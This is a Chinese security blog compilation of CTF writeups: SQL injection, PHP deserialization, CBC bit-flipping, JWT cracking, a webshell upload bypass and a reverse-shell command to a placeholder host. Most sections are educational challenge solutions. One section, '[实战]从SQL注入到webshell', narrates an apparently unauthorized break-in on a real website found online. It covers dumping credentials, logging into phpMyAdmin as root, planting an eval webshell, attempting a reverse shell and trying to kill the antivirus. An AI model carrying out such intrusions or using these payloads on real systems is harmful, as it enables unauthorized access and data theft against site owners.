2018 DDCTF mini blockchain(区块链) writeup

mini blockchain(区块链)

  滴滴的这道blockchain真的让人耳目一新,同时感觉也预兆了以后区块链技术出现在CTF上可能会成为一个常态,所以非常有必要去认真的了解一下这个东西。以下关于区块链的表述仅以我两天的学习结果,,,所以路过的大佬发现有表述不对的地方,劳烦指正。

2018 DDCTF web 注入的奥妙 writeup

注入的奥妙

  在网页的源码里发现了一处注释




  打开后发现是BIG5编码表,所以推测是宽字节注入。




  因为页面的属性是UTF-8




  所以推测后端应该是做了类似这个:iconv('utf-8','BIG5',$_GET['id'])的转换。又因为'会被转义,变成\',所以我们考虑找一个BIG5编码后最后一位是5C的字符,这样查询时就变成\\'\的作用取消掉。然后我们可以在字符查询网站找一下,传送门

  这是随便找的一个,当然,还有很多个符合条件的字。




  然后成功拿到POC




  而且还是报错注入,这算是注入中效率比较高的一种方法了,然后注入的时候注入被过滤的函数,双写绕过即可。payload:
1
http://116.85.48.105:5033/4eaee5db-2304-4d6d-aa9c-962051d99a41/well/getmessage/1廄'and updupdatexmlatexml(1,concat(0x7e,substr((select rulepass from route_rules limit 0,1),1,30),0x7e),1) -- +

  具体的注入过程不再赘述。最后我们能拿到如下的表结构和键值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
database  --->  sqli

table ---> message
id
name
contents

route_rules
id
pattern
get*/:u/well/getmessage/:s
get*/:u/justtry/self/:s
post*/:u/justtry/try
static/bootstrap/css/backup.css
action
Well#getmessage
JustTry#self
JustTry#try
static/bootstrap/css/backup.zip
rulepass
cd4229e671a8830debfcbb049a23399c
5ed16f9c7c27cb846eaf15c19fe40093
3228ad498d5a20d1d22d6a4a15fed4d2

  很明显有一个备份文件,又是源码泄露。下载下来慢慢审计。

  首先这是php的mvc设计模式,由Router.php负责分发,然后在Justtry类上,也就是我们从注入上得到的可以操作的类上发现了我们非常感兴趣的东西:序列化与反序列化,所以一个清晰地念头就出来了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class Justtry extends Base
{
private $white = array('test', 'well','base','justtry');
public $flag;
public function __construct()
{
parent::__construct();
}

public function self($a='')
{
if (!in_array(strtolower($a), $this->white)) {
exit('类不存在');
}

$res=$this->ref->getclassall($a);

if (isset($res)) {
echo $res;
}
}

public function try($serialize)
{
unserialize(urldecode($serialize), ["allowed_classes" => ["Index\Helper\Flag", "Index\Helper\SQL","Index\Helper\Test"]]);
}

public function send()
{ //省略
}
}

  我们可以发现允许序列化的类只有:Flag、SQL、Test,所以我们重点关注一下这三个类,寻找获取flag的条件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// Test.php
<?php
class Test
{
public $user_uuid;
public $fl;

public function __construct()
{
echo 'hhkjjhkhjkhjkhkjhkhkhk';
}

public function __destruct()
{
$this->getflag('ctfuser', $this->user_uuid);
}

public function setflag($m = 'ctfuser', $u = 'default', $o = 'default')
{ // 省略
}

public function getflag($m = 'ctfuser', $u = 'default')
{
//TODO: check username
// 需要知道id
$user=array(
'name' => $m,
'id' => $u
);
//懒了直接输出给你们了
echo 'DDCTF{'.$this->fl->get($user).'}';
}
}

  可以看到Test类的__destruct()调用了getflag(),所以推测这是我们序列化的入口。而它里面调用的get($user)方法是属于Flag类的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// Flag.php
<?php
class Flag
{
public $sql;
public function __construct()
{
$this->sql=new SQL();
}
public function get($user)
{

$tmp=$this->sql->FlagGet($user);
if ($tmp['status']===1) {
return $this->sql->FlagGet($user)['flag'];
}
}
}

  截取SQL类的FlagGet()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
public function FlagGet($user)
{
$this->dbc = new FLDbConnect();
$this->pdo = $this->dbc->getPDO();
//TODO :CHECK UNIQUE
$user['name']= $user['name'];
$user['id']= $user['id'];

$sth = $this->pdo->prepare('SELECT `username`,`flags`,`uuid` FROM `passflag` WHERE `uuid` = :uuid AND `username` = :name');
$sth->bindValue(':uuid', $user['id'], $this->pdo::PARAM_STR);
$sth->bindValue(':name', $user['name'], $this->pdo::PARAM_STR);
if ($sth->execute()) {
$result = $sth->fetch($this->pdo::FETCH_ASSOC);

return array('status'=>1,'msg'=>'success','flag'=> $result['flags']);
} else {
return array('status'=>0,'msg'=>implode(' ', $this->pdo->errorInfo()));
}
}

  到这,我们可以初步确定Test类中的$fl属性的值为Flag类,但$user_uuid的值我们还不能确定,所以,我们来找找这个值。

  在UUID.php里我们可以发现关于uuid的定义,它的形式如下:




  看到上面的形式然后再看看我们的url里面的4eaee5db-2304-4d6d-aa9c-962051d99a41,是不是很符合,所以我就大胆的试了一下,使用下面的脚本进行序列化:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
namespace Index\Helper;
class SQL
{
public $dbc;
public $pdo;
public function __construct()
{

}
}

class Flag
{
public $sql;
public function __construct()
{
$this->sql=new SQL();
}
}

class Test
{
public $user_uuid;
public $fl;

public function __construct()
{
echo 'hhkjjhkhjkhjkhkjhkhkhk';
}

}
$a = new Test;
$a->fl = new Flag;
$a->user_uuid = '4eaee5db-2304-4d6d-aa9c-962051d99a41';
$b = serialize($a);
echo $b;
?>

  注意:一定不要忘记namespace Index\Helper,不然服务器序列化失败。

  我们将得到的序列化结果先进行url encode一下,然后再提交。




  最后flag:DDCTF{9b6b97fe2980c5ed24bdb980c8994d81a26a363e07d92fd74070ee63e5e40911}

2018 DDCTF Web 部分writeup

前言

  滴滴的web题感觉质量还是挺高的,因为每一道题自己做得都比较吃力(菜鸟自白)。。。但更重要的是自己也从每道题中学习到了新知识,这种感觉甚至胜过拿到flag的喜悦…..

2018 DDCTF 杂项 writeup

前言

  今年的DDCTF玩的非常充实,7天的时间里基本每天都在学习新东西,整个Writeup会按题目类型进行分类。

2018 TCTF-0CTF ezDoor writeup

前言

  这次比赛真真感受到了差距,,,这场CTF就是大佬的竞赛场。。。。

[实战]从SQL注入到webshell

前言

  由于上篇实在是水了,,,所以就网上搜集了一番,然后就找到了一个。。。

  首先检查一下sql注入,然后在下载文件的地方发现了一处,而且还把网站的物理路径暴露出来了。




  接着就找了下验证的POC,发现它过滤了空格,因为当and 1=2的时候也返回了真。




  所以考虑使用/**/太代替空格,发现确实可行。
1
2
3
poc: 
?sid=1300/**/and/**/1=2
?sid=1300/**/and/**/1=1

  如图:






  所以接下来我就是用了sqlmap进行注入,只需要加上--tamper space2comment。经过好一番的查找,才拿到了数据库中的账号和密码。




  按照套路,我们就要找后台了。但这里并没有那么愉快,扫描了一下网站目录,却没有找到有价值的线索。只是暴露了几个目录遍历漏洞。






  而且从账号上暴露的phpmyadmin用户猜想到有phpmyadmin目录,但是也没有找到。




  然后就想使用XSS看看能不能找到管理员的后台地址,但结果是留言板确实是存在xss但却没有找到管理员的地址。




  带着cookie访问XSS打到的网址是报了个验证码错误,所以这条线也走不了了。

  后来经前辈提醒,可以直接使用http://ip/phpmyadmin的访问方式试试,那么首先检测一下有没有CDN。用多地ping检测了一下,发现应该是没有CDN,然后直接访问看看。




  最后使用root账号密码登陆进去了。由于物理路径已经知道了,那么后面的操作就简单了,直接使用mysql写一句话后门。
1
2
3
4
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php @eval($_POST[cmd])?>');
select cmd from a into outfile 'C:/暴露出来的根路径/out.php';
Drop TABLE IF EXISTS a;

  随便找个表执行下上面的sql语句即可。






  然后访问根目录下的out.php






  但是使用菜刀连接时却发现连接不上,估计是有WAF。而从phpinfo暴露出来的环境可以知道是内网,并且权限很高,所以心就更痒痒了。






  所以我们要采用迂回战术,,,我们看看能不能反弹shell。但是发现反弹回来立马被干掉了。。。




  看看目标的进程,发现是趋势杀软






  这里尝试将它的进程结束掉,但却没有用。由于明天强网杯,而且杀软也还想到法绕过,所以暂且放下,两天后再战。。。
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  

Bugku writeup4

web

login1(SKCTF)

  题目描述:




  这道题用的是sql约束攻击,利用的是数据库字段定义时产生的漏洞。如:
1
2
3
4
mysql> CREATE TABLE users (
-> username varchar(25),
-> password varchar(25)
-> );


  这里的username只允许25个字符,超过后就舍去25字符以后的,然后在mysql中,adminadmin [很多空格]在查询的时候是一样的。因为admin用户已经存在,但我们不知道他的密码,所以我们自己注册一个admin然后替换掉密码。所以我们可以注册一个admin[很多个空格]1的用户名,只要总字符数超过25,然后密码设成你的。注册成功后使用admin加你的密码去登陆即可得到flag。

### md5 collision(NUPT_CTF)
  这道题是MD5碰撞,PHP在进行比较运算时,如果遇到了0e\d+这种字符串,就会将这种字符串解析为科学计数法,然后0 == 字符串是成立的,从而绕过了MD5检查,这里记录一些MD5值:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020


### 文件包含2
  打开题目,在源代码中发现了upload.php



  访问后发现是文件上传,但是只支持图片文件,不够这里没关系,不用考虑怎么绕过,因为文件包含的时候会使用php解析:



  上传一句话






  但是访问后发现存在过滤,<?php被替换成_。如下图:



  但是我们可以使用<script language=php> </script>标签绕过这个验证,我们再上传一次:






  可以看到,后台已经成功的解析了我们的php代码。接着使用菜刀连接。






  最终我们能拿到flag:SKCTF{uP104D_1nclud3_426fh8_is_Fun}

### flag.php
  题目:



  打开页面后发现提交表单没有反应,然后想起题目提示,所以尝试一下get一个请求。然后可以找到源码:






  这里有些诱惑性的东西,它故意在最后放出了$key的值,然而当你拿着$KEY='ISecer:www.isecer.com';去序列化后提交会发现是不对的。



  其实这道题用得知识跟数字与字符串比较的绕过方式有点相似,首先$KEY的值是没有定义的,但是我们可以构造s:0:"";字符串,他反序列化的结果就是一个空的字符串,然后绕过他的比较。






  此时flag就出来了。

### sql注入2
  题目描述:






  这道题尝试了很多注入但都没有成功,后来经过看网上的writeup,才发现是.DS_Store泄露,然后网上找了个exp,运行后就能得到flag文件。






  flag就是:flag{sql_iNJEct_comMon3600!}

### 孙xx的博客
  题目描述:



  这里提示信息搜集,所以我们扫一扫目录:



  这里扫出了phpmyadmin的目录,然后再去网站上看看,然后就能发现数据库的用户名和密码。



  我们拿去登陆一下,就能发现flag。


报错注入

  题目描述:




  可以看到这里过滤了很多字符,包括空格,但由于mysql的特性,我们可以使用回车换行符还替代即%0a%0d

  因为要进行报错注入,所以我们可以使用extractvalue()或者updatexml()进行报错,尝试一条报错语句:
1
2
?id=1%0aand%0aextractvalue(1,concat(0x7e,(select%0a@@version),0x7e))
?id=1%0aand%0aupdatexml(1,concat(0x7e,(select%0a@@version),0x7e),1)





  可以看到已经成功报错,这里把%0a换成%0d也是可以的。要读取文件,mysql提供了load_file()函数,并且需要对文件名进行16进制编码。又因为extractvalue()有长度限制,最长为32位,所以我们需要使用substr()hex()过的文件内容进行分割,我们一次取30个就好。这里注意的是如果不对文件内容进行16进制编码就会出现无法读取的情况。
1
?id=1%0aand%0a(extractvalue(1,concat(0x7e,substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870)),1,30))),0x7e)


  最终我们能拿到一串16进制的字符,然后解密就可以得到flag:



  但这里最坑的就是双引号是中文的,所以直接复制题目给的flag形式,然后把双引号里的值粘贴进去就行了。

### login3(SKCTF)
  打开题目,发现过滤了很多字符,包括空格 , = and,所以这给我们注入带来极大的不便,但是or select >没有被过滤,我们先找到闭合字符。而且我们注意到,页面使用的是en编码,所以可以考虑宽字节注入。



  然后我们构造了验证poc:username=admin%df%27or'1'>'1&password=adminusername=admin%df%27or'2'>'1&password=admin






  可以看到当or返回真时它会检查password是否正确,而当or返回假时会报没有此用户的错误,所以,我们可以接着构造我们的payload。下面是我的payload:
1
username=admin%df%27or(select(password))>'0&password=admin


  我们只需要不断刷新>'后面的字符就能把密码给注入出来,这里值得注意的是最后一个值的确定,可以看到当最后一个字符为/时页面返回了真,而为0时则返回了假。






  因为我们使用的是>来进行判断的,所以最后的一个值一定会比真实值,也就是说我们最后一位应该取0才是正确的。所以最终md5值:51b7a76d51e70b419f60d3473fb6f900。解密出来就是:skctf123456。然后我们登陆一下就能获得flag。



  ps:本来这里是打算写脚本跑的,但因为判断条件在脚本里无法使用,在postman中也不能作为判别的依据,所以,这个方法只能在burpsuitezap上使用。


Trim的日记本

  打开页面后如下:




  然后随手注册了以一个账号,但发现不知道id无法登陆,所以就拿出了目录扫描器看看有什么发现。




  然后这里还真的有发现,我们访问一下show.php




  可以发现一个flag,拿去提交还真是真的flag。所以这道题就so easy了。。。

login2(SKCTF)

  这道题就是学习姿势了,自己做的时候没有找到思路,然后看了writeup才做出来。

  对请求抓包,然后可以发现tip,解密出来是几行代码。




1
2
3
$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}

  这里可以看到它是分离式的验证,首先查询username的用户,然后拿出password再进行比较,一开始想着是注入出admin的密码,但发现可能没有这个用户,而且也找不到注入的poc。后来参考网上的writeup才知道正确的打开方式。payload:

1
username=' union select md5(1),md5(1)#&password=1

  执行这条语句时由于前面的username为空,所以没有数据返回,但后面的union select md5(1),md5(1)则会返回两个MD5(1)的值,然后password我们也置为1,从而绕过if语句的判断。

  接下来可以进入命令执行的页面。




  然后我们反弹回一个shell来方便我们操作。我们先在本地监听一下,这里使用nc。
1
nc -lvv 8888

  然后执行反弹shell的命令。

1
|bash -i >& /dev/tcp/你的公网ip/8888 0>&1

  最后就能在服务器上收到shell,然后查询flag。




  所以flag:SKCTF{Uni0n_@nd_c0mM4nD_exEc}

login4(CBC字节翻转攻击)

  这道题就纯属学习姿势了,首先是进行敏感目录扫描,然后发现.index.php.swp源码泄露。




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();

function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}

function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
$_SESSION['username'] = $info['username'];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}

function check_login(){
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$_SESSION['username'] = $info['username'];
}else{
die("ERROR!");
}
}
}

function show_homepage(){
if ($_SESSION["username"]==='admin'){
echo '<p>Hello admin</p>';
echo '<p>Flag is $flag</p>';
}else{
echo '<p>hello '.$_SESSION['username'].'</p>';
echo '<p>Only admin can see flag</p>';
}
echo '<p><a href="loginout.php">Log out</a></p>';
}

if(isset($_POST['username']) && isset($_POST['password'])){
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
if($username === 'admin'){
exit('<p>admin are not allowed to login</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}
}else{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}else{
echo '<body class="login-body">
<div id="wrapper">
<div class="user-icon"></div>
<div class="pass-icon"></div>
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>Fill out the form below to login to my super awesome imaginary control panel.</span>
</div>
<div class="content">
<input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" />
<input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" />
</div>
<div class="footer">
<input type="submit" name="submit" value="Login" class="button" />
</div>
</form>
</div>
</body>';
}
}
?>

  因为admin用户被禁止了登陆,但是可以利用反序列化漏洞重置$_SESSION['username']admin,然后拿到flag。

  首先介绍一下CBC字节翻转攻击,如果我们要想把第二行(段)中的2变成n,我们只需要修改第一行(段)的r

1
2
3
4
5
6
7
原文:
a:2:{s:8:"username";s:5:"admi2";s:8:"password";s:5:"skctf";}
按16个字符分割:
a:2:{s:8:"userna
me";s:5:"admi2";
s:8:"password";s
:5:"skctf";}




  修改方式就是:
1
2
bs_de = 'a:2:{s:8:"username";s:5:"admi2";s:8:"password";s:5:"skctf";}'
bs_de=bs_de[0:13]+chr(ord(bs_de[13]) ^ ord('2') ^ ord('n'))+bs_de[14:]

  我们把cookie中的cipher拿出来修改一下。

1
2
3
4
5
6
7
8
9
10
11
# -*- coding:utf-8 -*-

import base64

bs = 'e8SnC9p3aEmJciIN8NWYM1PcA/A7jSwsiTglqdBMLRLf/8LOHKmhOoHSOBbJB1xEnE6S6DpfgkD8NWlJETxDZQ=='
bs_de = base64.b64decode(bs)
ch = chr(ord(bs_de[13]) ^ ord('2') ^ ord('n'))

bs_de=bs_de[0:13]+ch+bs_de[14::]

print(base64.b64encode(bs_de))

  然后把得到的结果替换掉cipher,访问后可以发现反序列化出错了。




  这是因为在修改第二段明文的时候我们把第一段的密文破环掉了,造成后台无法解密出原来的数据。如下面这种情况。




  当将6修改成7的时候,造成了第一段密文解密出来的结果变成了乱码,所以我们还需要还原第一段的密文,所以我们要对iv这个初始向量进行修改。




  修改的方法还是跟上面一样的套路,只不过这里的cipher要变成上面提示反序列化错误的那个密文。因为这个反序列化错误的字符是第一次翻转后的明文




  所以,我们修改的代码如下:
1
2
3
4
5
6
7
8
9
10
11
import base64
mingwen_de='xvFs8hcryE3UwXuTa5b+7W1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjg6IlBhc3N3b3JkIjt9'
mingwen = base64.b64decode(mingwen_de)

iv = 'wJdHFG15Qc2hs1bkgMHd4w=='
iv_de = base64.b64decode(iv)
new = 'a:2:{s:8:"userna'
for i in range(16):
iv_de = iv_de[:i] + chr(ord(iv_de[i]) ^ ord(mingwen[i]) ^ ord(new[i])) + iv_de[i+1:]

print(base64.b64encode(iv_de))

  将得到的结果替换到iv上,然后刷新页面,就能看到flag了。




  参考链接:
CBC字节翻转攻击

CBC字节翻转攻击

JWT token破解绕过

前言

  这是印度举办的CTF中遇到的一道JWT破解绕过题,觉得还是挺有价值的,mark一下。

JWT伪造

  这是一道b00t2root的一道web题,觉得很有意思,并且结合了加密的知识,所以记录一下。

  首先了解下JWT:

JSON Web Token(JWT)是一个非常轻巧的规范。这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息。JWT常被用于前后端分离,可以和Restful API配合使用,常用于构建身份认证机制。

  JWT的数据格式分为三个部分: headers , payloads,signature(签名),它们使用.点号分割。拿道题后看了一下cookie,发现是如下格式:




1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6ImZhbHNlIn0.oe4qhTxvJB8nNAsFWJc7_m3UylVZzO3FwhkYuESAyUM

  进行base64解密后发现:




  所以,我们的目的就是把false改成true,而且要通过服务器的验证,这点很重要,并不是直接把false改成true就万事大吉了。因为服务器收到token后会对token的有效性进行验证。

  验证方法:首先服务端会产生一个key,然后以这个key作为密钥,使用第一部分选择的加密方式(这里就是HS256),对第一部分和第二部分拼接的结果进行加密,然后把加密结果放到第三部分

1
服务器每次收到信息都会对它的前两部分进行加密,然后比对加密后的结果是否跟客户端传送过来的第三部分相同,如果相同则验证通过,否则失败。

  因为加密算法我们已经知道了,如果我们只要再得到加密的key,我们就能伪造数据,并且通过服务器的检查。

  这里我使用了这个工具进行破解:C语言版JWT破解工具,下载安装完毕后,直接进行破解,如图:




  所以,我的加密密钥就是:54l7y。然后我们去验证一下,这个网站可以提供验证服务:https://jwt.io/。当我们使用破解出来的key时,我们能完美还原出原始数据,这证明我们的key是正确的。




  最后我们把false改成true,然后使用key进行加密,可以得到如下:




  然后我们拿着这个token刷新一下:




  可以看到flag已经出来了。

参考链接

https://github.com/brendan-rius/c-jwt-cracker

https://auth0.com/blog/brute-forcing-hs256-is-possible-the-importance-of-using-strong-keys-to-sign-jwts/

https://jwt.io/

http://www.cnblogs.com/dliv3/p/7450057.html

N1CTF easy_harder_php预期解法

前言

  easy phpharder php在比赛中虽然源码已经get到,但没能做出来,现在官方网站已经关闭,但官方在Github上公开了源码和Docker配置,所以拉下来跟着writeup做一遍,学习学习姿势。

  这道题看了一下网上的writeup,大概有四种解法:

  • 预期解法
  • 非预期解法
    • session.upload
    • xdebug
    • /tmp/临时文件竞争

  非预期解法是按getshell的方法来划分的,这也导致easy php升级成harder php。写完writeup的时候发现预期解法的篇幅有点大了,但大有大的好处,作者在这里尽力还原了解题的完整过程,所以这篇就是harder php的预期解法。

预期解法

获取源码

  首先尝试源码泄露,经过测试后发现只要在文件名后加~就能得到源码。

SQL注入获取admin密码

  然后简单的对源码进行审计一下,有如下发现:

  loginregister$username使用了check_username()进行检查,$password则是直接进行md5()加密。










  看到这个基本可以确定loginregister不存在注入,接着再看看哪里有insert、insert、select语句,然后可以看到在publish中的$_POST['signature']$_POST['mood']没有经过任何过滤直接就进行了insert插入。



  为了验证猜想,我们先注册一个账号,地址跟容易猜出来,就是?action=register,打开后发现要进行md5碰撞,这里也记录一下脚本。


  碰撞脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# -*- coding: utf-8 -*-
# running in python2
import multiprocessing
import hashlib
import random
import string
import sys
CHARS = string.letters + string.digits
def cmp_md5(substr, stop_event, str_len, start=0, size=20):
global CHARS
while not stop_event.is_set():
rnds = ''.join(random.choice(CHARS) for _ in range(size))
md5 = hashlib.md5(rnds)
if md5.hexdigest()[start: start+str_len] == substr:
print rnds
stop_event.set()
if __name__ == '__main__':
substr = 'b825c' # 修改此值
start_pos = 0
str_len = len(substr)
cpus = multiprocessing.cpu_count()
stop_event = multiprocessing.Event()
processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
stop_event, str_len, start_pos))
for i in range(cpus)]
for p in processes:
p.start()
for p in processes:
p.join()

  注册后我们登陆网站,然后打开发表页面。




  这里值得注意的是我们在哪个参数注入,mood参数被强制转成int,所以我们只能在signature中进行注入。



  然后在插入的地方,我们发现他会把“`”转换成“’”,这就是一个利用点。


基于盲注

  所以我们可以构造这样的payload:

1
signature=1`,if(ascii(substr((select password from ctf_users where username=0x61646d696e),2,1))=53,sleep(3),0))#&mood=0




  注意,0x61646d696eadmin的16进制编码,而且这里不能直接比较字符如substr()>'a'。如果注入成功则会延迟三秒返回页面。

  后来看writeup的时候发现了另一种有意思的注入方式,他通过反序列化控制了ip的值,然后通过返回不同的国家判断注入结果,其payload如下:
1
wat`,(select case when ascii(substr((select password from ctf_users where is_admin=1),3,1))=48 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:7:"1.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=49 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:7:"2.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=50 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:7:"5.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=51 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:9:"127.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=52 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:9:"128.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=53 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:9:"129.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=54 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:9:"135.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=55 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:11:"27.116.56.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=56 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:12:"41.109.118.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=57 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:10:"5.11.15.64";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=97 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:12:"103.81.186.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=98 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:10:"5.10.240.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=99 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:11:"17.45.140.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=100 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:12:"43.249.176.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=101 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:9:"41.76.8.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=102 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:9:"46.8.41.0";s:4:"date";i:1520676219;}` else `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:7:"1.0.0.0";s:4:"date";i:1520676219;}` end)) -- -


  但我在本地复现的时候这个payload却行不通,页面返回的是服务器错误,查看日志则是反序列化的错误。



  这里作者就不再纠结这个问题了,最终admin的密码就是nu1ladmin

#### 二次注入
  除了盲注,这里作者还发现了一个博客中运用了更简单的payload,他使用了二次注入一次性将密码直接注入出来,从操作上来看二次注入的步骤显然要比盲注简单很多,所以作者对这种手法再进行练习。原博客地址为:p0’s blog | 破

  首先先注册一个新的用户,并且通过盲注确定他的id,然后进行二次注入,如:
1
signature=1`,(select 1)),('1','123','1','1')#mood=1


  这种注入就是一次插入两行数据,这样我们可以控制第二行的所有数据,然后我们可以将admin的密码显示到id为自己账号上的signature上。

  具体操作如下:1、获取用户的id



  所以我的id就是4。接着进行二次注入,payload:
1
signature=1`,1),(4,`admin333`,(select concat(username,0x2c,password) from ctf_users where is_admin=1),`O:4:"Mood":3:{s:4:"mood";i:0;s:2:"ip";s:14:"220.181.171.99";s:4:"date";i:1520667855;}`)#&mood=0





  最后刷新页面就可以获得admin的账号密码了。


反序列化+SSRF

  其实通过审计,我们可以知道得到admin的密码是不够的,因为adminallow_diff_ip=0的,所以我们还是无法直接利用。其实比赛中看到了反序列化漏洞,但因为Mood类中并没有魔术函数,所以一直以为反序列化利用不了,所以也就卡壳了。后来证实自己的知识面还是太窄了:(

  到了这一步,我们就要怎么利用SSRF了,我这里想到了两个方法:

  • 1、修改admin的allow_diff_ip字段,使我们能直接登陆admin,然后上传
  • 2、拿着你的session,去做admin的登录,然后上传

  第一种因为被代码写死,所以无法利用。




  所以我们利用第二种方式去getshell。

  在phpinfo中,我们发现soap是开启的,php中有一个特殊的类:SoapClient,它是用来创建soap数据报文,与wsdl接口进行交互的。






  通过传入两个参数,第一个是 $url, 既目标url,第二个参数是一个数组,里面是soap请求的一些参数和属性。第二个参数(options)的相关介绍如下:



